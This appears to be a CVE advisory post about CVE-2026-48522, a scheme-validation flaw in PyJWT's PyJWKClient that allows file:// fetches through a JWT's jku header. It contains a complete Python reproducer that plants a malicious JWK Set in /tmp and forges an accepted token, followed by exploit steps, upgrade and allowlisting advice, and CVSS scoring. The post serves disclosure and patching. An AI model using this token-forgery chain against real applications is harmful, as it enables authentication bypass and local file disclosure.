Listen to this Post
`CVE-2026-48522`
The `PyJWKClient` class in PyJWT versions prior to 2.13.0 passes its `uri` argument directly to Python’s urllib.request.urlopen(). By default, `urlopen()` uses an `OpenerDirector` that registers HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. Consequently, `PyJWKClient` will fetch any URI scheme without restriction.
If an application accepts attacker‑influenced URLs (e.g., from the `jku` header of a JWT, a configuration file, or an OAuth parameter) and passes them to PyJWKClient, an attacker can:
1. Read arbitrary local files using `file://` URIs – the file content is parsed as JSON.
2. Attempt FTP or data‑URI fetches, expanding the SSRF attack surface.
3. Forge valid tokens by writing a malicious JWK Set to a path the `jku` URL points to (e.g., a writable filesystem location) and then signing a JWT with the matching private key. The library will fetch the attacker‑controlled JWK Set and use the contained public key to verify the signature.
The vulnerability is fixed in PyJWT 2.13.0 by adding an `allowed_schemes` parameter (defaulting to ("https", "http")) to PyJWKClient.__init__. The scheme is validated before any fetch is attempted; disallowed schemes raise a PyJWKClientError.
DailyCVE Form:
Platform: PyJWT
Version: <2.13.0
Vulnerability: SSRF via file://
Severity: Medium (4.2)
date: 2026‑05‑28
Prediction: 2026‑06‑15
What Undercode Say:
Full attack chain (reproducer)
import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time
Attacker generates keypair
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n
def b64u(n):
bl = (n.bit_length() + 7) // 8
return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()
Write malicious JWK Set to a writable location
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
"n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
json.dump(jwks, f)
Mint token with jku pointing to the planted file
priv_pem = key.private_bytes(serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8,
serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
{"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
priv_pem, algorithm="RS256",
headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})
Victim application fetches JWKS from file:// URI and verifies token
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"]) <-- silently accepts file://
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
audience="target-app")
print("Token verified:", decoded)
Exploit:
- Attacker crafts a JWT with a `jku` header pointing to a `file://` URI (e.g.,
file:///tmp/attacker.json). - The vulnerable application passes the untrusted `jku` value to
PyJWKClient, which fetches the file viaurlopen(). - The attacker‑controlled JWK Set is parsed, and its public key is used to verify the JWT signature.
- Because the attacker also holds the matching private key, the signature validation succeeds, and the forged token is accepted.
Protection:
- Upgrade PyJWT to version 2.13.0 or later (fixes the scheme validation).
- If upgrading is not immediately possible, avoid passing attacker‑controlled URLs to
PyJWKClient. - Restrict the sources from which `jku` URLs are derived; never accept them directly from JWT headers or user input without strict allowlisting.
- For applications that must handle
jku, implement a custom scheme allowlist before invokingPyJWKClient.
Impact:
- Confidentiality: Attacker can read arbitrary local files (e.g.,
/etc/passwd, configuration files) via SSRF. - Integrity: Attacker can forge valid JWTs if they can write a malicious JWK Set to a reachable filesystem path.
- Attack complexity: Medium – requires chaining SSRF with write access to a filesystem path or an already writable directory.
- CVSS v3.1 Base Score: 4.2 (Medium) –
AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

